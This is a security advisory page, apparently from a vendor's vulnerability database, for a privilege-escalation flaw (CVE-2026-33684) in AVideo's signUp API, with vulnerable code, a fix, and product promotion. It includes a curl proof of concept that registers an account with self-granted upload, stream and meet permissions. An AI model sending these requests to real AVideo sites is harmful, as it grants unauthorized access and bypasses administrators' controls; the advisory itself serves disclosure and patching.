Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-8j8m-p79x-g4jm

MEDIUM

GHSA-8j8m-p79x-g4jm is a medium-severity (CVSS 5.3) CWE-862 vulnerability in wwbn/avideo. O3 Security confirms whether GHSA-8j8m-p79x-g4jm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions

Also known asCVE-2026-33684
Published
Jun 22, 2026
Updated
Jun 22, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The set_api_signUp method in the API plugin accepts emailVerified, canUpload, canStream, and canCreateMeet parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. Any anonymous user who can solve a CAPTCHA can self-grant elevated permissions during account registration.

Details

The authentication check in set_api_signUp (plugin/API/API.php:4222) allows either a valid APISecret (admin-level credential) or a solved CAPTCHA (anonymous access):

// plugin/API/API.php:4222-4232
if ($obj->APISecret !== @$_REQUEST['APISecret']) {
    if(empty($_REQUEST['captcha'])){
        return new ApiObject("Captcha is required");
    }
    require_once $global['systemRootPath'] . 'objects/captcha.php';
    $valid = Captcha::validation($_REQUEST['captcha']);
    if(!$valid){
        return new ApiObject("Captcha is wrong, reload it and try again");
    }
}

After this check, both code paths (APISecret and CAPTCHA) reach the privilege parameter handling unconditionally:

// plugin/API/API.php:4238-4249
if (isset($_REQUEST['emailVerified'])) {
    $global['emailVerified'] = intval($_REQUEST['emailVerified']);
}
if (isset($_REQUEST['canCreateMeet'])) {
    $global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
}
if (isset($_REQUEST['canStream'])) {
    $global['canStream'] = intval($_REQUEST['canStream']);
}
if (isset($_REQUEST['canUpload'])) {
    $global['canUpload'] = intval($_REQUEST['canUpload']);
}

These $global values are then consumed by User::save() (objects/user.php:829-840), which overrides the user object's permission fields:

// objects/user.php:829-840
if (isset($global['emailVerified'])) {
    $this->emailVerified = $global['emailVerified'];
}
if (isset($global['canCreateMeet'])) {
    $this->canCreateMeet = $global['canCreateMeet'];
}
if (isset($global['canStream'])) {
    $this->canStream = $global['canStream'];
}
if (isset($global['canUpload'])) {
    $this->canUpload = $global['canUpload'];
}

Note that even though userCreate.json.php:90 sets canUpload from the site's default configuration, User::save() subsequently overrides it with the attacker-controlled $global value.

The codebase already uses self::isAPISecretValid() to guard admin-only operations in other API methods (e.g., lines 294, 991, 1664, 2150), but this check is missing for the privilege parameters in set_api_signUp.

PoC

# Step 1: Get a CAPTCHA token
# (Navigate to the signup page in a browser, solve the CAPTCHA, capture the token)

# Step 2: Register with elevated privileges
curl -X POST 'https://target/plugin/API/set.json.php' \
  -d 'APIName=signUp' \
  -d 'user=attacker' \
  -d 'pass=Password123!' \
  -d '[email protected]' \
  -d 'name=Attacker' \
  -d 'captcha=VALID_CAPTCHA_TOKEN' \
  -d 'emailVerified=1' \
  -d 'canUpload=1' \
  -d 'canStream=1' \
  -d 'canCreateMeet=1'

# Expected: Account created with default (restricted) permissions
# Actual: Account created with upload, stream, and meet permissions enabled,
#         plus email marked as verified

# Step 3: Verify elevated permissions by logging in and checking profile
curl -X POST 'https://target/plugin/API/set.json.php' \
  -d 'APIName=signIn' \
  -d 'user=attacker' \
  -d 'pass=Password123!'
# Response will show canUpload=1, canStream=1, canCreateMeet=1, emailVerified=1

Impact

  • Email verification bypass: Attackers can mark their accounts as email-verified without owning the email address, bypassing any email-gated functionality
  • Unauthorized upload access: Self-granted upload permissions allow uploading potentially malicious video content to the platform
  • Unauthorized streaming access: Self-granted streaming permissions allow unauthorized live streaming
  • Unauthorized meeting creation: Self-granted meet permissions allow creating meetings on the platform
  • Policy bypass: Platform administrators who intentionally restrict these permissions for new users (e.g., requiring manual approval before granting upload rights) have their access controls circumvented

Recommended Fix

Wrap the privilege parameter handling in an isAPISecretValid() check so that only admin-authenticated requests can set these values:

// plugin/API/API.php — replace lines 4238-4249 with:
if (self::isAPISecretValid()) {
    if (isset($_REQUEST['emailVerified'])) {
        $global['emailVerified'] = intval($_REQUEST['emailVerified']);
    }
    if (isset($_REQUEST['canCreateMeet'])) {
        $global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
    }
    if (isset($_REQUEST['canStream'])) {
        $global['canStream'] = intval($_REQUEST['canStream']);
    }
    if (isset($_REQUEST['canUpload'])) {
        $global['canUpload'] = intval($_REQUEST['canUpload']);
    }
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versions29.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update wwbn/avideo to 29.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8j8m-p79x-g4jm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-8j8m-p79x-g4jm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-8j8m-p79x-g4jm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `set_api_signUp` method in the API plugin accepts `emailVerified`, `canUpload`, `canStream`, and `canCreateMeet` parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. Any anonymous user who can solve a CAPTCHA can self-grant elevated permissions during account registration. ## Details The authentication check in `set_api_signUp` (`plugin/API/API.php:4222`) allows either a valid APISecret (admin-level credential) or a solved CAPTCHA (anonymous access): ```php // plugin/API/AP
O3 Security · Impact-Aware SCA

Is GHSA-8j8m-p79x-g4jm in your dependencies?

O3 detects GHSA-8j8m-p79x-g4jm across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.